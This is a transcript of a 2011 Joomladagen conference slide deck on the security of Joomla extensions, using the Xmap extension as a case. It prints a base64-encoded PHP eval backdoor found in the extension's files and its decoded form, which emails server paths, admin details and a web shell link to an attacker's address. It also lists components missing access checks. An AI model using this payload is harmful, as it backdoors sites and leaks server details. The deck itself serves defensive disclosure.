How safe are Joomla! extenties #jd11nl Joomladagen NL 2011

1. How save are Joomla extenties? @jd11nl
How safe are Joomla extenties?
Case: Xmap
By Ray Bogman
Jira ICT www.jira.nl - @jiraict
Yireo www.yireo.com - @yireo

2. How save are Joomla extenties? @jd11nl
Xmap jeopardized?

3. How save are Joomla extenties? @jd11nl
Where are you jeopardized?
install.xmap.php
slider.css.php
<?php eval("?
>".base64_decode("PD9waHANCiRraW1lPSJhbWVuc2VtaWhAZ21haWwuY29tIjsNCiRi
YXNsaWs9IkVMX011SGFNTWVEIFNlcnZlciBBdmNpc2kgVjEuMCI7DQokRUxfTXVIYU1NZU
Q9IkRvc3lhIFlvbHUgOiAiLiRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uInJuIjsNCiRF
TF9NdUhhTU1lRC49IlNlcnZlciBBZG1pbiA6ICIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTi
ddLiJybiI7DQokRUxfTXVIYU1NZUQuPSJTZXJ2ZXIgaXNsZXRpbSBzaXN0ZW1pIDogIi4k
X1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10uInJuIjsNCiRFTF9NdUhhTU1lRC49IlNoZW
xsIExpbmsgOiBodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsn
UEhQX1NFTEYnXS4icm4iOw0KJEVMX011SGFNTWVELj0iQXZsYW5hbiBTaXRlIDogIiAuJF
9TRVJWRVJbJ0hUVFBfSE9TVCddLiJybiI7DQptYWlsKCRraW1lLCAkYmFzbGlrLCAkRUxf
TXVIYU1NZUQpOw0KPz4=")); ?>

4. How save are Joomla extenties? @jd11nl
Notifying the Hacker would be nice
<?php
$kime="amensemih@gmail.com";
$baslik="EL_MuHaMMeD Server Avcisi V1.0";
$EL_MuHaMMeD="Dosya Yolu : ".$_SERVER['DOCUMENT_ROOT']."rn";
$EL_MuHaMMeD.="Server Admin : ".$_SERVER['SERVER_ADMIN']."rn";
$EL_MuHaMMeD.="Server isletim sistemi : ".
$_SERVER['SERVER_SOFTWARE']."rn";
$EL_MuHaMMeD.="Shell Link : http://".$_SERVER['SERVER_NAME'].
$_SERVER['PHP_SELF']."rn";
$EL_MuHaMMeD.="Avlanan Site : " .$_SERVER['HTTP_HOST']."rn";
mail($kime, $baslik, $EL_MuHaMMeD);
?>

5. How save are Joomla extenties? @jd11nl
So what's next?

6. How save are Joomla extenties? @jd11nl
Is there a backdoor?

7. How save are Joomla extenties? @jd11nl
Get your Joomla! login for Free!

8. How save are Joomla extenties? @jd11nl
_JEXEC or die
•com_agora.php
•com_eventlist.php
•com_glossary.php
•com_joomgallery.php
•com_kunena.php
defined( '_JEXEC' ) or
die( 'Restricted access.' );
missing in current version

9. How save are Joomla extenties? @jd11nl
Thank you
ray@jira.nl
#jiraict
www.jira.nl
http://www.slideshare.net/jiraict
http://www.facebook.com/jiraict